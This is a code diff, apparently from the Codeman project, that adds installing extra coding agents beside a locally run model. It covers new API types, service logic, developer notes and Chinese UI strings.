accepts = fact.acceptsModelId(model.id);
} catch {
accepts = false;
}
if (!accepts) continue;
const installing = !fact.installed && memory.running === entry.cli;
const status: LocalModelHarnessStatus = fact.installed
? 'ready'
: installing
? 'installing'
: fact.installable
? 'installable'
: 'setup-needed';
const failure = status === 'installable' ? memory.failed?.[entry.cli] : undefined;
const readyMark = entry.readyMark ?? fact.readyMark;
ranked.push({
rank: entry.rank,
row: {
cli: entry.cli,
cliLabel: fact.label,
default: false,
status,
...((status === 'installable' || status === 'installing') && fact.installCommand !== undefined
? { installCommand: fact.installCommand }
: {}),
...(entry.slowFirstTurn ? { slowFirstTurn: true } : {}),
...(readyMark !== undefined ? { readyMark } : {}),
...(failure
? {
error: {
message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: fact.label } },
...(failure.detail ? { detail: failure.detail } : {}),
},
}
: {}),
// One installer at a time: while one runs, no other agent is offered for install.
actions: status === 'installable' && memory.running === undefined ? ['install'] : [],
},
});
}
ranked.sort((a, b) => b.rank - a.rank);
const rows = ranked.map((entry) => entry.row);
const chosen = state.cli?.id;
const fallback =
rows.find((row) => row.cli === chosen && row.status === 'ready') ??
rows.find((row) => row.status === 'ready') ??
rows.find((row) => row.cli === chosen);
if (!fallback) return rows;
fallback.default = true;
return [fallback, ...rows.filter((row) => row !== fallback)];
}
/**
* The actions the server accepts right now: the state row's list narrowed by what is live.
* `rows` is `buildLibraryRows()` of the same two arguments, for a caller that has it. Pure.
@@ -833,12 +939,18 @@ export function allowedActions(
return actions.filter((action) => {
if (action === 'use') return rows.some((row) => row.actions.includes('use'));
if (action === 'delete-model') return rows.some((row) => row.actions.includes('delete'));
if (action === 'install-agent') return (live.harnesses ?? []).some((row) => row.actions.includes('install'));
// From idle a Remove only clears what an earlier one kept: offered while there is something.
if (state.state === 'idle') return action !== 'remove' || (live.storeBytes ?? 0) > 0;
if (state.state !== 'installed') return true;
if (action === 'start') return !live.running;
if (action === 'stop') return live.running;
if (action === 'start-session') return live.running && !blocked;
if (action === 'start-session') {
// With the agents known, a session needs one that can be started. Unknown (the registry
// could not be read) is not "none": the launch itself says what is missing then.
const anAgent = live.harnesses === undefined || live.harnesses.some((row) => row.status === 'ready');
return live.running && !blocked && anAgent;
}
return true;
});
}
@@ -881,6 +993,7 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa
folder: live.folder,
library,
...(live.storeBytes !== undefined ? { store: { bytes: live.storeBytes, gb: formatGb(live.storeBytes) } } : {}),
harnesses: [],
actions: allowedActions(state, live, library),
};
if (state.state === 'idle') return view;
@@ -907,6 +1020,18 @@ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFa
if (state.connection) view.endpointId = state.connection.endpointId;
const blocker = installedBlocker(state, live);
if (blocker) view.error = blocker;
// An agent that can be started offers a session exactly when the model does.
const canStart = view.actions.includes('start-session');
view.harnesses = (live.harnesses ?? []).map((row) =>
row.status === 'ready' && canStart ? { ...row, actions: ['start-session', ...row.actions] } : { ...row }
);
// The default agent is the one a client that names none starts: never one that is gone
// while another can be started.
const preferred = view.harnesses.find((row) => row.default);
if (preferred) {
view.cli = preferred.cli;
view.cliLabel = preferred.cliLabel;
}
return view;
}
@@ -1053,8 +1178,12 @@ export interface LocalModelServiceDeps {
/** The install as the routes and the server see it. One per process. */
export interface LocalModelService {
/** The `install` object of the GET. Never throws. */
view(): Promise<LocalModelInstallView>;
/**
* The `install` object of the GET. Never throws. `harnessFacts`: the facts a caller already
* built for the same answer (the GET builds them for the recommendation), so they are not
* built twice; without them the service builds its own.
*/
view(options?: { harnessFacts?: readonly HarnessFact[] }): Promise<LocalModelInstallView>;
/**
* Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`:
* yes, which is also the answer for every endpoint that is not this feature's. Otherwise the
@@ -1105,6 +1234,14 @@ export interface LocalModelService {
* runtime is down.
*/
deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise<LocalModelVerbResult>;
/**
* `POST /api/local-model/agent`: install one more coding agent beside an installed model.
* Answers once the installer is STARTED; it runs on in the server, and the view's
* `harnesses` says how it stands. Not a job: the state stays `installed` and sessions go on.
* The agent must be a row of `harnesses` that offers `install`; one that can already be
* started answers with the view as it is. One installer at a time (409 `job-running`).
*/
installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise<LocalModelVerbResult>;
/** `POST /api/local-model/cancel`. Answers once the step in flight was interrupted. */
cancel(): Promise<LocalModelVerbResult>;
/**
@@ -1148,7 +1285,7 @@ export interface LocalModelService {
shutdown(): Promise<void>;
/** What the runtime supervisor reports through `onChange`: the pid of a child the moment it is spawned, a new pid after a restart, the budget line. Stored, never thrown. */
onRuntimeChange(status: RuntimeStatus): void;
/** Resolves once no job is in flight. For `shutdown()` and for tests. */
/** Resolves once no job is in flight and no coding agent is being installed. For `shutdown()` and for tests. */
idle(): Promise<void>;
}
@@ -1260,6 +1397,13 @@ class LocalModelServiceImpl implements LocalModelService {
/** What the model store last took on disk, and when. */
private storeCache: { at: number; bytes: number } | undefined;
private storeRefresh: Promise<void> | undefined;
/**
* The install of one more coding agent beside an installed model, while its installer runs.
* Not a job: the state file never hears of it, and the state stays `installed`.
*/
private agentInstall: { cli: string; controller: AbortController; promise: Promise<void> } | undefined;
/** The agents whose last such install failed, with the end of what the installer printed. Forgotten at a restart. */
private readonly agentFailures = new Map<string, { detail?: string }>();
constructor(deps: Partial<LocalModelServiceDeps>) {
const pin = deps.pin ?? OLLAMA_RUNTIME_PIN;
@@ -1730,8 +1874,30 @@ class LocalModelServiceImpl implements LocalModelService {
// ---------- The view ----------
private async liveFacts(state: LocalModelStateFile): Promise<InstallLiveFacts> {
/** What `buildHarnessRows()` is told about agent installs: the one that runs, and the ones that failed. */
private agentMemory(): AgentInstallMemory {
return {
...(this.agentInstall ? { running: this.agentInstall.cli } : {}),
...(this.agentFailures.size > 0 ? { failed: Object.fromEntries(this.agentFailures) } : {}),
};
}
private async liveFacts(
state: LocalModelStateFile,
harnessFacts?: readonly HarnessFact[]
): Promise<InstallLiveFacts> {
const status = this.deps.supervisor.status();
let harnesses: LocalModelHarnessRow[] | undefined;
if (state.state === 'installed') {
try {
const catalog = this.deps.getCatalog();
const facts = harnessFacts ?? (await this.deps.buildHarnessFacts(catalog));
harnesses = buildHarnessRows(state, catalog, facts, this.agentMemory());
} catch (err) {
// Unknown, not "none": the view then lists no agent and still offers a session.
console.warn(`[local-model] The coding agents could not be listed: ${getErrorMessage(err)}`);
}
}
let developerTools: LocalModelDeveloperTools = 'unknown';
try {
developerTools = await this.deps.checkDeveloperTools();
@@ -1767,10 +1933,11 @@ class LocalModelServiceImpl implements LocalModelService {
...(tags ? { tags } : {}),
...(this.storeCache ? { storeBytes: this.storeCache.bytes } : {}),
...(labels ? { labels } : {}),
...(harnesses ? { harnesses } : {}),
};
}
async view(): Promise<LocalModelInstallView> {
async view(options: { harnessFacts?: readonly HarnessFact[] } = {}): Promise<LocalModelInstallView> {
try {
await this.recovered();
let state = await this.currentState();
@@ -1793,7 +1960,7 @@ class LocalModelServiceImpl implements LocalModelService {
void this.refreshDigest(state).catch(() => {});
}
await this.freshenListings(state);
return buildInstallView(state, await this.liveFacts(state));
return buildInstallView(state, await this.liveFacts(state, options.harnessFacts));
} catch (err) {
console.warn(`[local-model] Could not build the install view: ${getErrorMessage(err)}`);
return buildInstallView(IDLE_LOCAL_MODEL_STATE, {
@@ -1988,9 +2155,11 @@ class LocalModelServiceImpl implements LocalModelService {
const open = this.sessionsOpen(state, liveSessionNames);
if (open) return open;
// The coding agent of the switch: the one this model was checked with, else the one of
// the state, whichever is on this Mac now. A job that stopped while it installed another
// agent leaves the state naming one that may not be there.
// The coding agent of the switch, which becomes the default one: the one this model was
// checked with, else the one of the state, whichever is on this Mac now. A job that
// stopped while it installed another agent leaves the state naming one that may not be
// there. With neither, any agent the model can be run with that is on this Mac: the
// agent is chosen per session, so a switch is not refused for one that was uninstalled.
const agents = [entry.cli, state.cli].filter(
(cli, index, all): cli is { id: string; label: string } =>
cli !== undefined && all.findIndex((other) => other?.id === cli.id) === index
@@ -2002,6 +2171,22 @@ class LocalModelServiceImpl implements LocalModelService {
break;
}
}
if (!cli) {
try {
const catalog = this.deps.getCatalog();
const afterSwitch: LocalModelStateFile = {
schema: 1,
state: 'installed',
model: { id: entry.id, label: entry.label, context: entry.context },
};
const ready = buildHarnessRows(afterSwitch, catalog, await this.deps.buildHarnessFacts(catalog)).find(
(row) => row.status === 'ready'
);
if (ready) cli = { id: ready.cli, label: ready.cliLabel };
} catch {
/* no other agent is known then, and the switch is refused below */
}
}
if (!cli) {
return {
ok: false,
@@ -2031,6 +2216,54 @@ class LocalModelServiceImpl implements LocalModelService {
});
}
installAgent(request: LocalModelAgentRequest, actor: LocalModelActor): Promise<LocalModelVerbResult> {
return this.exclusive(async () => {
await this.settle();
const state = await this.currentState();
if (state.state === 'installing') return conflict('job-running');
if (!INSTALL_STATE_TABLE[state.state].actions.includes('install-agent')) return conflict('wrong-state');
// One installer at a time, whichever agent it is for.
if (this.agentInstall) return conflict('job-running');
// Checked against what the server itself lists right now, before anything runs.
const catalog = this.deps.getCatalog();
const facts = await this.deps.buildHarnessFacts(catalog);
const row = buildHarnessRows(state, catalog, facts).find((candidate) => candidate.cli === request.cli);
if (!row) {
return { ok: false, status: 400, message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered } };
}
// Already there (a second click, or it was installed by hand meanwhile): nothing to do.
if (row.status === 'ready') return this.answer();
if (row.status !== 'installable') {
return {
ok: false,
status: 400,
message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: row.cliLabel } },
};
}
this.agentFailures.delete(row.cli);
const controller = new AbortController();
const cli = row.cli;
const run = {
cli,
controller,
promise: this.installCodingAgent(cli, actor, controller.signal)
.then((outcome) => {
if (outcome.kind === 'fail') this.agentFailures.set(cli, { detail: outcome.detail });
})
.catch((err: unknown) => {
this.agentFailures.set(cli, { detail: getErrorMessage(err) });
})
.finally(() => {
if (this.agentInstall === run) this.agentInstall = undefined;
}),
};
this.agentInstall = run;
return this.answer();
});
}
deleteLibraryModel(request: LocalModelDeleteRequest, actor?: LocalModelActor): Promise<LocalModelVerbResult> {
return this.exclusive(async () => {
await this.settle();
@@ -2372,6 +2605,8 @@ class LocalModelServiceImpl implements LocalModelService {
const job = this.job;
// The state file keeps saying `installing`: the next start reads that as a paused job.
job?.controller.abort();
// An agent installer beside an installed model: its process group is ended, nothing is recorded.
this.agentInstall?.controller.abort();
// The runtime is signalled at once, not after the job let go: the server may exit soon.
const stopped = Promise.resolve()
.then(() => this.deps.supervisor.stop())
@@ -2385,7 +2620,9 @@ class LocalModelServiceImpl implements LocalModelService {
}
async idle(): Promise<void> {
while (this.job) await this.job.promise.catch(() => {});
while (this.job || this.agentInstall) {
await (this.job ?? this.agentInstall)?.promise.catch(() => {});
}
}
// ---------- The job ----------
@@ -2741,24 +2978,38 @@ class LocalModelServiceImpl implements LocalModelService {
signal: AbortSignal
): Promise<StepOutcome> {
if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' };
const cli = state.cli.id;
const vars = this.errorVars('harness-failed', state);
const outcome = await this.installCodingAgent(state.cli.id, actor, signal);
if (outcome.kind !== 'fail') return outcome;
return {
kind: 'fail',
code: 'harness-failed',
vars: this.errorVars('harness-failed', state),
detail: outcome.detail,
};
}
/**
* Installs one coding agent with its STOCK command, through the install slot it shares with
* the CLI management routes. What the `agent` step of a job and `installAgent()` both run.
* `done` also when the agent is already there; `fail` carries what to show as the detail.
*/
private async installCodingAgent(
cli: string,
actor: LocalModelActor,
signal: AbortSignal
): Promise<{ kind: 'done' } | { kind: 'cancelled' } | { kind: 'fail'; detail: string }> {
// A resumed job, or an installer that finished before a restart: the binary may be there.
if (await this.deps.recheckCliInstalled(cli)) return DONE;
if (signal.aborted) return CANCELLED;
if (await this.deps.recheckCliInstalled(cli)) return { kind: 'done' };
if (signal.aborted) return { kind: 'cancelled' };
// Only a coding agent of the catalogue, and only its STOCK install command.
if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) {
return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' };
return { kind: 'fail', detail: 'Not a coding agent of the local model catalogue.' };
}
const command = this.deps.stockInstallCommand(cli);
if (!command) {
return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' };
}
if (!command) return { kind: 'fail', detail: 'No install command for this platform.' };
const release = this.deps.tryBeginCliInstall(cli);
if (!release) {
return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' };
}
if (!release) return { kind: 'fail', detail: 'Another install of this coding agent is running.' };
let result: CliInstallResult;
try {
result = await this.deps.runInstallCommand(command, { signal });
@@ -2783,13 +3034,13 @@ class LocalModelServiceImpl implements LocalModelService {
// Even a failed or interrupted install may have left a binary behind: the cached lookups
// are forgotten either way, and what counts is whether the binary is found now.
const installed = await this.deps.recheckCliInstalled(cli);
if (result.aborted || signal.aborted) return CANCELLED;
if (installed) return DONE;
if (result.aborted || signal.aborted) return { kind: 'cancelled' };
if (installed) return { kind: 'done' };
const detail = result.timedOut
? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.`
: result.output.slice(-INSTALLER_DETAIL_CHARS).trim() ||
(result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.');
return { kind: 'fail', code: 'harness-failed', vars, detail };
return { kind: 'fail', detail };
}
private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> {
+86 -5
View File
@@ -211,6 +211,8 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start'
* - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it.
* - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library`
* offers it.
* - `install-agent`: `POST /api/local-model/agent`. Listed only while a row of `harnesses`
* offers it.
*/
export type LocalModelAction =
| 'install'
@@ -221,7 +223,8 @@ export type LocalModelAction =
| 'remove'
| 'start-session'
| 'use'
| 'delete-model';
| 'delete-model'
| 'install-agent';
/** Whether the Mac has the developer tools (git, Python) a coding agent calls. */
export type LocalModelDeveloperTools =
@@ -301,7 +304,7 @@ export const LOCAL_MODEL_INSTALL_LABELS = {
refusedNotInLibrary: 'This model is not one of the checked models on this Mac.',
refusedNotOnThisMac: 'This model is not on this Mac.',
deleteFailed: '{model} could not be deleted from this Mac.',
refusedAgentMissing: '{cli} is not installed on this Mac. Install this model again to choose a coding agent.',
refusedAgentMissing: '{cli} is not installed on this Mac. Install a coding agent in the local model window first.',
endpointManaged:
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
@@ -461,8 +464,9 @@ export interface LocalModelLoadedFacts {
* | `port` | | once chosen | once chosen | once chosen | yes |
* | `loaded`, `endpointId` | | | | | yes |
*
* `running`, `developerTools`, `runtime`, `folder`, `library` and `actions` are always
* present. `store` is present once the model store was measured.
* `running`, `developerTools`, `runtime`, `folder`, `library`, `harnesses` and `actions` are
* always present. `store` is present once the model store was measured. `harnesses` is empty
* in every state but `installed`.
*/
export interface LocalModelInstallView {
state: LocalModelInstallState;
@@ -473,7 +477,11 @@ export interface LocalModelInstallView {
progress?: LocalModelProgress;
error?: LocalModelInstallError;
model?: LocalModelInstalledModel;
/** The coding agent: a CLI registry id, as data. */
/**
* The coding agent of the job, and on an installed model the DEFAULT one: the agent it was
* installed with, which a client that names no agent starts. A CLI registry id, as data.
* `harnesses` lists every agent a session can be started with.
*/
cli?: string;
/** The coding agent's display label ('OpenCode'). */
cliLabel?: string;
@@ -498,10 +506,74 @@ export interface LocalModelInstallView {
library: LocalModelLibraryRow[];
/** What the model store takes on disk right now. Present in every state once it was measured. */
store?: LocalModelStoreView;
/**
* The coding agents a session on the model in use can be started with: every catalogue
* harness that works at the model's context and accepts its name, the default one (`cli`)
* first, then by catalogue rank. The agent is chosen per session, so a row is not a setting.
* Empty in every state but `installed`.
*/
harnesses: LocalModelHarnessRow[];
/** What the server accepts right now, see `LocalModelAction`. */
actions: LocalModelAction[];
}
/**
* How a coding agent of `harnesses` stands on this Mac.
* - `ready`: it can be started (the same answer the Run menu gets).
* - `installable`: it is not on this Mac, and `POST /api/local-model/agent` installs it with
* `installCommand`.
* - `installing`: that install is running. It runs beside the model: nothing about the model
* in use changes, and a session with another agent can be started meanwhile.
* - `setup-needed`: it is not startable and one command does not make it so (a launcher
* without a profile, or a command that needs an administrator). Its own setup is in the Run
* menu or in a terminal; nothing is offered here.
*/
export type LocalModelHarnessStatus = 'ready' | 'installable' | 'installing' | 'setup-needed';
/** What can be done with one row of `harnesses`: start a session with it, or `POST /api/local-model/agent`. */
export type LocalModelHarnessAction = 'start-session' | 'install';
/** One coding agent the model in use can be run with. Everything a client needs is here, so it compares no CLI id. */
export interface LocalModelHarnessRow {
/** The CLI registry id, as data: the `mode` of a session started with it, and the `cli` of `POST /api/local-model/agent`. */
cli: string;
/** The registry's display label ('OpenCode'). */
cliLabel: string;
/** True on the row `LocalModelInstallView.cli` names. */
default: boolean;
status: LocalModelHarnessStatus;
/**
* The literal command `POST /api/local-model/agent` would run: the STOCK command of the CLI
* registry for this platform. Present exactly when `status` is `installable` or `installing`.
* The consent prints it as it is.
*/
installCommand?: string;
/** The harness row's `slowFirstTurn`: the first answer takes minutes. */
slowFirstTurn?: boolean;
/**
* A literal with no white space the agent's composer draws once it takes input
* (`LocalHarnessEntry.readyMark`, else the CLI registry's `composerReadyMark`): what a script
* waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt. Absent
* for an agent with no measured mark.
*/
readyMark?: string;
/**
* The last install of this agent through `POST /api/local-model/agent` failed, and it is
* still not on this Mac. Kept in memory only: a restart of the server forgets it.
*/
error?: LocalModelAgentError;
/** What the server accepts for this row right now. */
actions: LocalModelHarnessAction[];
}
/** Why an install of a coding agent from an installed model failed. */
export interface LocalModelAgentError {
/** `errHarnessFailed` with the agent's label. */
message: LocalModelInstallMessage;
/** The end of what the installer printed, as it is (English or the tool's own language). */
detail?: string;
}
/**
* How a model of the library stands.
* - `ready`: checked by Codeman, and the runtime (when it was asked) still lists it with the
@@ -612,6 +684,15 @@ export interface LocalModelDeleteRequest {
modelId: string;
}
/**
* Body of `POST /api/local-model/agent`: a coding agent of `harnesses` to install beside an
* installed model. The click that sends it is the consent to the row's `installCommand`.
*/
export interface LocalModelAgentRequest {
/** `LocalModelHarnessRow.cli` of a row whose `actions` list `install`. */
cli: string;
}
/** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */
export interface LocalModelRefusal {
message: LocalModelInstallMessage;
+22 -2
View File
@@ -207,6 +207,15 @@ export interface LocalHarnessEntry {
gated?: boolean;
/** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */
slowFirstTurn?: boolean;
/**
* A literal with no white space that this harness's composer draws once it takes input, and
* nothing before it does: what a script waits for before it sends the first prompt
* (`GET /api/sessions/:id/wait-output`). Only a mark that was MEASURED on a session started
* on a custom model goes here. Absent: the CLI registry's own
* `capabilities.composerReadyMark` is used when it declares one, and a harness with neither
* has no mark.
*/
readyMark?: string;
}
/**
@@ -248,9 +257,18 @@ export interface HarnessFact {
cli: string;
/** The registry's display label ('OpenCode'). */
label: string;
/** The CLI's binary was found on this machine. */
/**
* The CLI can be started on this machine: the same answer the Run menu gets. For a launcher
* that starts nothing by itself (`discovery.launcherProfile` in the CLI registry) that is its
* binary AND something for it to launch.
*/
installed: boolean;
/** Not installed, but the registry has an install command for this platform that needs no administrator rights. */
/**
* Not installed, but ONE command makes it startable: the registry has an install command for
* this platform that needs no administrator rights, and the CLI is not a launcher. A launcher
* needs a second install the command does not make (a profile, which is third-party code
* with a consent of its own), so it is never installable from here.
*/
installable: boolean;
/**
* The literal install command the install job would run for this CLI: the STOCK
@@ -259,6 +277,8 @@ export interface HarnessFact {
* (`CandidateHarness.installCommand`).
*/
installCommand?: string;
/** The registry's `capabilities.composerReadyMark`, when the CLI declares one and it holds no white space. */
readyMark?: string;
/** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */
acceptsModelId: (modelId: string) => boolean;
}
+1 -1
View File
@@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
**Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module).
**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`; never after a switch, a job without a `model` step, which ends on the whole installed screen so the list of models is still there for the next Use or Delete), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE eventLine truncated
**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`; never after a switch, a job without a `model` step, which ends on the whole installed screen so the list of models is still there for the next Use or Delete), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE eventLine truncated
**Home-screen session order** (`CodemanSessionOrder` in constants.js, pure): BOTH home screens (phone overview, desktop rail) must order rows through this ONE comparator. Rank `needs` → `error` → `waiting` → `working` → `idle` → `done`. ⚠️ The tiebreak flips: states a session is still IN sort oldest-first, states it has STOPPED sort newest-first. ⚠️ The running group keys off `lastSubmitAt`, never `lastActivityAt` (a working pane repaints constantly). ⚠️ A 0 stamp means unknown and sorts last within its state. Final tiebreak is `orderIndex`, so the list never shuffles. The tab strip itself is NOT sorted by this. Test: `test/session-overview-order.test.ts`. → [architecture-invariants#home-screen-session-order](../../docs/architecture-invariants.md#home-screen-session-order)
+14 -2
View File
@@ -1540,6 +1540,18 @@
'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。',
'All of it is on the GPU.': '全部位于 GPU 上。',
'Start a session': '开始会话',
// The coding agents of an installed model: one chip each, and the line under the selected one.
'Start a session with': '开始会话时使用',
Installing: '正在安装',
'Not installed': '未安装',
'Needs setup': '需要设置',
'Install {cli}': '安装 {cli}',
'Installing {cli}. You can start a session with another agent meanwhile.':
'正在安装 {cli}。在此期间,你可以用其他智能体开始会话。',
